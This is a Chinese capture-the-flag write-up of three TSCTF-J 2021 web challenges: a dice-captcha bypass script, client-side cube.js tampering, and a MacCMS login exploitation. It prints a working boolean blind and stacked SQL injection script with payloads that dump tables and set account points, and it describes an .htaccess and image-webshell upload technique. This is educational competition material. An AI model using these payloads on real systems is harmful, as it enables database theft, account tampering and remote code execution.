• TSCTFJ2021Web部分复现


    部分复现

    ez_au

    比赛时尝试了一下手操,然后发现通过12个验证问题需要控制在不是人能达到的速度下。当时思考的是绕过,但是似乎后台会记录每一次答案的正确与否,再在bp里抓包看看,就只有cookie里的PHPSESSID引起了我的注意,但稍微搜索了一下,发现这只是php代码里用来识别不同SESSION会话的机制,PHP脚本可以设置为为每一个新会话自动生成一个PHPSESSID,保存在浏览器的cookie中,随着接下来的请求一起上传到服务端,服务端再根据此找到SESSION对象,从而获取所对应的信息,进行一一处理。

    这时就没有思路了。

    看WP和讨论,需要用脚本,那就开始学吧。(原来得用硅基生命来解决这个问题呢)

    之前看requests库就只看了一两篇文章就溜了,这次边学边做呗。

    先理清自动化脚本要实现什么。

    1. 获取请求。
    2. 找到当前页面的骰子。
    3. 计算答案。
    4. 发送请求。
    5. 跳转到step1并重复12次。

    bp抓包发现answer是用POST传递的,并且请求头必须含有PHPSESSID(见上面的分析)。
    那就bp抓包构造请求头,然后待会把PHPSESSID替换成一个随意的值。

    如何找到骰子?
    骰子在页面有回显,尝试在源代码中搜索,的确搜到了,那就弄个映射关系。

    然后就是脚本计算,正则表达式用得不是很熟练,就普通地写了。。。

    接着就是发送请求,之前不知道怎么用requests库发送POST数据(我之前学了个啥。。。),查阅文档,直接用data=就行。。。
    /PIC/m2.png

    然后写出如下脚本:
    /PIC/m3.png

    运行发现没有获取验证问题,再bp抓包发现得向getproblem传参%E8%8E%B7%E5%8F%96%EF%BC%88%E9%87%8D%E7%BD%AE%EF%BC%89%E9%AA%8C%E8%AF%81%E9%97%AE%E9%A2%98,加在开头就行了。

    然后发现说是验证错误,思考了半天感觉脚本写的没毛病,想到了可能是编码问题,果然,我vscode敲代码以前默认是GBK,运行后所有骰子都变成了?,换成utf-8就行了。

    最终如下:

    import requests
    from requests.models import Response
    url = 'http://120.53.107.60/authentication.php'
    headers = {
        'Pragma': 'no-cache',
        'Cache-Control': 'no-cache',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cookie': 'PHPSESSID=miaomiaomiao',
        'Connection': 'close',
    }
    dice = ['⚀','⚁','⚂','⚃','⚄','⚅']
    if __name__=='__main__':
        response = requests.post(url=url, headers=headers, data={'getproblem':'%E8%8E%B7%E5%8F%96%EF%BC%88%E9%87%8D%E7%BD%AE%EF%BC%89%E9%AA%8C%E8%AF%81%E9%97%AE%E9%A2%98'})
        for cnt in range(12):
            num = 0
            sum = 0
            for i in range(6):
                if dice[i] in response.text:
                    sum += i + 1
                    num += 1
            if (num == 1) :
                sum *= 2
            response = requests.post(url=url, headers=headers, data={'answer':sum})
        print(response.text)
    

    得到flag: TSCTF-J{s0_Ez_4_silic0n_b4s3d_life}

    再仔细看WP,原来getpromblem只要是个值就行了啊,,,还有原来requests库自带构造session的函数。。。

    cube

    比赛时看见cube.js里那么长的代码就润了。。。。现在可以练习一下。

    首先手操一遍,再看看html源码,大致任务就是在999ms内还原魔方,并按下id=chk的按钮。hint的话感觉不是很懂。。。

    然后开始审计js代码。

    从函数名和大致内容猜测代码前半段是cube主体,后半段有大量用来加密flag的函数,最后几行函数显然是一个突破口。

    //转魔方
    rules.forEach(rule => {
    	document.getElementById(rule.id).addEventListener('click', rule.ops)
    })
    
    //Hint点击时提示
    document.getElementById('Hint').addEventListener('click', () => {})
    
    //cube的构造与渲染
    cube.rX = rX; cube.rY = rY; cube.render(rX, rY)
    window.cube = cube; 
    
    //猜测是分享,与题目无关。
    document.getElementById('share').src = $canvas.toDataURL()
    
    //页面刚加载时更新一次cube并设置时间。
    window.onload=function(){
    	document.getElementById("btn-shuffle").click();
    	window.setTimeout(function(){myTimer()},8200);
    }
    //设置时间。
    function myTimer() {
    	document.getElementById("text").innerHTML="please finish this cube in 999ms.";
    	setTimeout(function(){document.getElementById("text").innerHTML="Timeout!\nLoser.";window.setTimeout(function(){window.location.reload(true);},300);},999);
    }
    
    //Hint提示内容。
    document.getElementById('Hint').addEventListener('click', () => {document.getElementById("text").innerHTML="..."})
    

    既然flag并未存储于服务端,当然可以通过本地运行修改js代码的方式来获取。
    这里就可以删去时间的限制。
    /PIC/f2.png
    然后再在rules表中找到了id=chk时对应的操作:cube.Icegey()
    /PIC/f3.png

    跟进去。
    /PIC/f4.png
    发现需要满足两个if为真,这也许就是判断cube复原的条件,直接暴力替换为1就可以直接运行了吧。
    /PIC/f5.png
    然后在本地搭好环境,等待cube打乱后在控制台输入cube.Icegey(),就跳出了这个:
    /PIC/f1.png
    猜测是base64加密,解密可得:
    TSCTF-J{HELLO_CUBE_MASTES_AND_HAVE_FUN_IN_HERE>>>>}

    badmac

    呜呜呜,这道题充分体现了我的zz水平。。。傻事做尽。

    比赛时逛逛小网站,以为搜索的wd是一个注入点,尝试半天无果就放弃了。。。(甚至都没打开附件

    复现时问f0才知道原来注入点在用户登录这里TAT。

    一般网站框架会对用户密码进行编码处理,所以考虑对账号的注入。先正常输入admin,发现页面弹出:
    /PIC/q4.png

    想看这句话出现在源码中的哪个位置,写了个递归脚本:
    /PIC/q5.png
    从语言包中找到了所对应的英文名称,继续执行搜索脚本,找到了User.php中的关键代码,并进行初步审计:
    /PIC/q6.png

    这里表明后端的确未对sql查询语句做过滤,存在注入,而且使用了multi_query(),暗含了可能用到的堆叠注入。不懂affected_rows的意思,搜索后明白大致含义是返回所影响的行数。而且回显也只有两种情况,要么没有影响,要么有影响。

    需要知道用户登录信息,就需要sqli获得,在这里明显是布尔盲注。

    验证:
    /PIC/q7.png
    /PIC/q8.png
    的确存在。

    考虑采用二分布尔盲注脚本。
    写完后就可以跑出来一个账号和密码:
    /PIC/q9.png

    登进去,看到修改头像,然后就在思考如何文件上传惹。。。查看源码,发现绕不过去这个:
    /PIC/q10.png

    在提示下看看资讯,看来得为账户充点钱,这时发现的堆叠注入就有用了,直接堆叠注入给自己加points。
    /PIC/q11.png
    我感觉我有亿点傻。

    完整的脚本贴在这:

    import requests
    
    Fs = "获取用户信息失败"
    Ts = "用户登录失败"
    
    url = "http://123.57.193.197:12334/maccms/index.php/user/login.html"
    
    def injection_database(url) :
    	res = ""
    	for i in range(1,2000) :
    		left = 32
    		right = 128
    		mid = (left + right) // 2
    		while (left < right) :
    			payload = "1' or (ascii(substr((select database()),%d,1)))>%d;#" % (i, mid)
    			data = {"user_name" : payload, "user_pwd" : "123456"}
    			resp = talk.post(url, data=data)
    			if Ts in resp.text :
    				left = mid + 1
    			else :
    				right = mid
    			mid = (left + right) // 2
    		if (mid == 32) :
    			break
    		res += chr(mid)
    	print(res)
    
    def inject_table(url):
    	res = ""
    	for i in range(1,2000):
    		left = 32
    		right = 128 
    		mid = (left + right) // 2
    		while (left < right):
    			payload = "1' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'maccms'),%d,1)))>%d;#" % (i, mid)
    			data = {"user_name" : payload, "user_pwd" : "123456"}
    			resp = talk.post(url, data=data)
    			if Ts in resp.text :
    				left = mid + 1
    			else :
    				right = mid
    			mid = (left + right) // 2 
    		if (mid == 32) :
    			break
    		res += chr(mid)
    	print(res)
    
    def injection_column(url):
    	res = ""		   
    	for i in range(1,2000):
    		left = 32
    		right = 128 
    		mid = (left + right) // 2
    		while (left < right):
    			payload = "1' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='maccms' and table_name='tsctfj_card'),%d,1)))>%d;#" % (i, mid)
    			data = {"user_name" : payload, "user_pwd" : "123456"}
    			resp = talk.post(url, data=data)
    			if Ts in resp.text :
    				left = mid + 1
    			else :
    				right = mid
    			mid = (left + right) // 2 
    		if (mid == 32) :
    			break
    		res += chr(mid)
    	print(res)
    
    def injection_info(url) :
    	res = ""		   
    	for i in range(1,2000):
    		left = 32
    		right = 128 
    		mid = (left + right) // 2
    		while (left < right):
    			payload = "1' or (ascii(substr((select group_concat(card_no) from maccms.tsctfj_card),%d,1)))>%d;#" % (i, mid)
    			data = {"user_name" : payload, "user_pwd" : "123456"}
    			resp = talk.post(url, data=data)
    			if Ts in resp.text :
    				left = mid + 1
    			else :
    				right = mid
    			mid = (left + right) // 2 
    		if (mid == 32) :
    			break
    		res += chr(mid)
    	print(res)
    
    def change_card(url) :
    	payload = "1';insert into tsctfj_card(card_no,card_pwd,card_money,card_points,card_use_status,card_sale_status) values(123,123,4294967295,4294967295,0,0);#"
    	data = {"user_name" : payload, "user_pwd" : "123456"}
    	resp = talk.post(url, data=data)
    	print(resp.text)
    
    def change_points(url) :
    	payload = "1';UPDATE tsctfj_user SET user_points='4294967295' WHERE user_name='atestuserintsctf-j';#"
    	data = {"user_name" : payload, "user_pwd" : "123456"}
    	resp = talk.post(url, data=data)
    	print(resp.text)
    
    if __name__ == "__main__" :
    	talk = requests.session()
    	#injection_database(url)
    	#inject_table(url)
    	#injection_info(url)
    	#change_points(url)
    

    获得提示:在get请求中加个tsctf-j_2021_zbr_666=666_rbz_1202_j-ftcst

    然后就是上传time。

    先随便上传,发现后端应该对文件后缀做了限制,把msg的信息放在搜索脚本中跑一下,找到了upload函数,在ctfhub技能树中学过此时考虑使用图片马,要么上传.htaccess文件,要么找文件包含漏洞,一开始尝试上传.htaccess文件,结果:
    /PIC/q12.png
    查看源码以为是抛出了这个异常上传就终止了,,,,于是就开始了找文件包含漏洞的不归路。。。。

    问了f0才知道,,,原来这个是上传成功了啊。。。。。草。。。。
    然后就可以用图片马连了。

    简单讲一下原理:图像文件具有的特征性字段,后端检测当然可以用此来判断是否是图像文件,那么可以把一句话后门藏在图像文件中,就能绕过此判断,当然光有这个还不够,得让服务器以php来解析此文件,这里就用到了.htaccess文件,规定了AddType application/x-httpd-php .png,即在当前目录,以php的形式解析所有png文件,于是就可以用蚁剑连后门了。

    /PIC/q1.png

    /PIC/q2.png

    /PIC/q3.png

    得到flag。

  • 相关阅读:
    docker-compose
    Cassandra
    npm常用命令
    k8s linux win10
    wsl2 docker 迁移
    docker http 代理
    mysql查看当前所有的数据库和索引大小
    mybatis 遍历list拼接 or查询
    es head crud
    nginx 代理转发mysql
  • 原文地址:https://www.cnblogs.com/silentEAG/p/15546017.html
Copyright © 2020-2023  润新知